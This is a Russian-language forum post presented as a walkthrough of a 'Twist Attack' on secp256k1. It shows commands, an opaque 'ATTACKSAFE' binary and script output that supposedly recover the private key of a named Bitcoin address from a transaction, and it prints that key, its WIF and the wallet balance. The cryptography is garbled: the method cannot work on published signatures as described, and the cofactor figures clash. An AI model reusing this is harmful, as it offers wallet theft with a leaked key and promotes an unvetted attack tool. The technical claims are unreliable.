Перейти к содержанию

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку


CryptoDeepTech

2 954 просмотра


Не так давно пакет elliptic (6.5.4) для стандартных эллиптических кривых был уязвим для различных атак, одним из которых является Twist Attack. Криптографическая проблема была в реализации secp256k1. Нам известно что криптовалюта Биткоин использует secp256k1 и эта атака не обошла Биткоин стороной, согласно уязвимости CVE-2020-28498 подтверждающие стороны транзакции алгоритма ECDSA через определенные точки на эллиптической кривой secp256k1 передавали частичные значение приватного ключа (более простые подгруппы состоящие от 5 до 45 bit )
которые называются секстическими поворотами [sextic twists] этот процесс настолько опасен что раскрывает зашифрованные данные после выполнения ряда операций ECC.

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

В этой статье мы реализуем Twist Attack на примере и покажем как с помощью определенных точек на эллиптической кривой secp256k1 мы можем получить частичные значение приватного ключа и в течение 5-15 минут восстановить Биткоин Кошелек используя “Sagemath pollard rho function: (discrete_log_rho)” и “Chinese Remainder Theorem”.

Другими словами эти определенные точки являются злонамеренно выбранными точками на эллиптической кривой secp256k1

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку https://github.com/christianlundkvist/blog/blob/master/2020_05_26_secp256k1_twist_attacks/secp256k1_twist_attacks.md

Согласно твиту Paulo Barreto: https://twitter.com/pbarreto/status/825703772382908416?s=21

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

The cofactor is 3^2*13^2*3319*22639

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
E1: 20412485227
E2: 3319, 22639
E3: 109903, 12977017, 383229727
E4: 18979
E6: 10903, 5290657, 10833080827, 22921299619447

prod = 20412485227 * 3319 * 22639 *109903 * 12977017 * 383229727 * 18979 * 10903 * 5290657 * 10833080827 * 22921299619447

38597363079105398474523661669562635951234135017402074565436668291433169282997 = 3 * 13^2 * 3319 * 22639 * 1013176677300131846900870239606035638738100997248092069256697437031

HEX:0x55555555555555555555555555555555C1C5B65DC59275416AB9E07B0FEDE7B5


При запуске Twist Attack «приватный ключ» может быть получен при определенном выборе «публичного ключа» (выбранная точка эллиптической кривой secp256k1) , то есть значение в транзакции раскрывается.
После чего раскроется и информация о приватном ключе, но для этого нужно выполнить несколько операций ECC.

E1: y^2 = x^3 + 1
E2: y^2 = x^3 + 2
E3: y^2 = x^3 + 3
E4: y^2 = x^3 + 4
E6: y^2 = x^3 + 6
y² = x³ + ax + b. In the Koblitz curve,
y² = x³ + 0x + 7. In the Koblitz curve,
0  = x³ + 0  + 7
b '= -x ^ 3 - ax.

Все точки (x, 0) попадают на недопустимые кривые с b '= -x ^ 3 - ax


Перейдем к экспериментальной части:

(Рассмотрим Биткоин Адрес)

1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq


(Теперь рассмотрим критический уязвимые транзакции)

https://btc1.trezor.io/tx/d76a7daa4c5f67a2b553df96834845e4bf469a9806b3de1d89e107301230e731

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Откроем [TerminalGoogleColab].

Реализуем алгоритм Twist Attack с помощью нашей репозитории 18TwistAttack

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/18TwistAttack/

ls
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Установим все нужные нам пакеты

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

requirements.txt


sudo apt install python2-minimal

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py

pip2 install -r requirements.txt
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку ,
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Подготовим RawTX для атаки


1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq

https://btc1.trezor.io/tx/d76a7daa4c5f67a2b553df96834845e4bf469a9806b3de1d89e107301230e731

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

RawTX = 0100000001ea20b8f18674f029b84a96fad22647eec129e0e5520c73a25c24a42ad3479c78100000006a47304402207eed07b5b09237851306a44a2b0f6bc2db0e2eaca45296a84ace41f8d2f5ccdb02205e4eebbaffdd48f2294c062ac1d34204d7bcb01d76ead96720cc9c6c570f8a0801210277144138c5d2e090d6cf65c8fc984cce82c39d2923c4e106a27e3e6bb92de4abffffffff013a020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

Сохраним в файле: RawTX.txt

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку RawTX.txt

Чтобы реализовать атаку мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE”

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE) www.attacksafe.ru/software

Права доступа:

chmod +x attacksafe
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Применение:

./attacksafe -help
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode

./attacksafe -version
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Version 5.3.2. [ATTACKSAFE SOFTWARE, © 2023]

"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.

Запустим список всех атак:

./attacksafe -list
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Выберем -tool: twist_attack

Чтобы получить определенные точки secp256k1 из уязвимой транзакции подписи ECDSA, мы добавили данные RawTX в текстовый документ и сохранил как файл RawTX.txt

0100000001ea20b8f18674f029b84a96fad22647eec129e0e5520c73a25c24a42ad3479c78100000006a47304402207eed07b5b09237851306a44a2b0f6bc2db0e2eaca45296a84ace41f8d2f5ccdb02205e4eebbaffdd48f2294c062ac1d34204d7bcb01d76ead96720cc9c6c570f8a0801210277144138c5d2e090d6cf65c8fc984cce82c39d2923c4e106a27e3e6bb92de4abffffffff013a020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

Запустим -tool twist_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


./attacksafe -tool twist_attack -open RawTX.txt -save SecretPoints.txt
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Мы запустили данную атаку из -tool twist_attack и результат сохранился в файл SecretPoints.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretPoints.txt

cat SecretPoints.txt

Результат:

Elliptic Curve Secret Points:

Q11 = E1([34618671789393965854613640290360235391647615481000045539933705415932995630501, 99667531170720247708472095466452031806107030061686920872303526306525502090483])
Q21 = E2([68702062392910446859944685018576437177285905222869560568664822150761686878291, 78930926874118321017229422673239275133078679240453338682049329315217408793256])
Q22 = E2([36187226669165513276610993963284034580749604088670076857796544959800936658648, 78047996896912977465701149036258546447875229540566494608083363212907320694556])
Q31 = E3([14202326166782503089885498550308551381051624037047010679115490407616052746319, 30141335236272151189582083030021707964727207106390862186771517460219968539461])
Q32 = E3([92652014076758100644785068345546545590717837495536733539625902385181839840915, 110864801034380605661536039273640968489603707115084229873394641092410549997600])
Q33 = E3([13733962489803830542904605575055556603039713775204829607439941608751927073977, 70664870695578622971339822919870548708506276012055865037147804103600164648175])
Q41 = E4([46717592694718488699519343483827728052018707080103013431011626167943885955457, 6469304805650436779501027074909634426373884406581114581098958955015476304831])
Q61 = E6([47561520942485905499349109889401345889145902913672896164353162929760278620178, 23509073020931558264499314846549082835888014703370452565866789873039982616042])
Q62 = E6([54160295444050675202099928029758489687871616334443609215013972520342661686310, 61948858375012652103923933825519305763658240249902247802977736768072021476029])
Q63 = E6([80766121303237997819855855617475110324697780810565482439175845706674419107782, 43455623036669369134087288965186672649514660807369135243341314597351364060230])
Q64 = E6([27687597533944257266141093122549631098147853637408570994849207294960615279263, 8473112666362672787600475720236754473089370067288223871796416412432107486062])


RawTX = 0100000001ea20b8f18674f029b84a96fad22647eec129e0e5520c73a25c24a42ad3479c78100000006a47304402207eed07b5b09237851306a44a2b0f6bc2db0e2eaca45296a84ace41f8d2f5ccdb02205e4eebbaffdd48f2294c062ac1d34204d7bcb01d76ead96720cc9c6c570f8a0801210277144138c5d2e090d6cf65c8fc984cce82c39d2923c4e106a27e3e6bb92de4abffffffff013a020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

Теперь добавим полученные точки secp256k1

Для этого откроем Python-script: discrete.py

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Для того чтобы запустить Python-script: discrete.py установим SageMath


Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Команда установки:

sudo apt-get update
sudo apt-get install -y python3-gmpy2
yes '' | sudo env DEBIAN_FRONTEND=noninteractive apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" install sagemath

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Проверим установку SageMath по команде: sage -v


Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку SageMath version 9.0

Чтобы решить дискретное логарифмирование (Pollard's rho algorithm for logarithms) запустим Python-script: discrete.py

 

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Команда запуска:

sage -python3 discrete.py
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Результат:

Discrete_log_rho:
5663673254
229
19231
43549
11713353
47161820
13016
6068
1461826
5248038982
9034433903442

PRIVATE KEY:
4843137891892877119728403798088723017104154997204069979961743654961499092503

privkey = crt([x11, x21, x22, x31, x32, x33, x41, x61, x62, x63, x64], [ord11, ord21, ord22, ord31, ord32, ord33, ord41, ord61, ord62, ord63, ord64])

Мы решили дискретное логарифмирование и с помощью “Китайской теоремы об остатках (Chinese remainder theorem)” получили приватный ключ в десятичном формате.

Конвертируем приватный ключ в HEX формат

Десятичный формат приватного ключа был сохранен в файл: privkey.txt

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Запустим Python-script: privkey2hex.py

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

python3 privkey2hex.py
cat privkey2hex.txt
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Откроем полученный файл: privkey2hex.txt


Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Приватный ключ в HEX формате:

PrivKey = 0ab51e7092866dadf86165ea0d70beb69086237a0e7f5a123d496d3d98e03617

Откроем bitaddress и проверим:

ADDR: 1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq
WIF:  KwaXPrvbWF5USy3GCh453UDGWXnBSroiKKtE6ebtmHHxGKaRmVD6
HEX:  0AB51E7092866DADF86165EA0D70BEB69086237A0E7F5A123D496D3D98E03617
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

 


https://live.blockcypher.com/btc/address/1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq/


Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

BALANCE: $ 775.77


Исходный код

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/S_ZUcM2cD8I

Источник: https://cryptodeep.ru/twist-attack


Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

0 Комментариев


Рекомендуемые комментарии

Комментариев нет

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти
  • Последние посетители   0 пользователей онлайн

    • Ни одного зарегистрированного пользователя не просматривает данную страницу
×
×
  • Создать...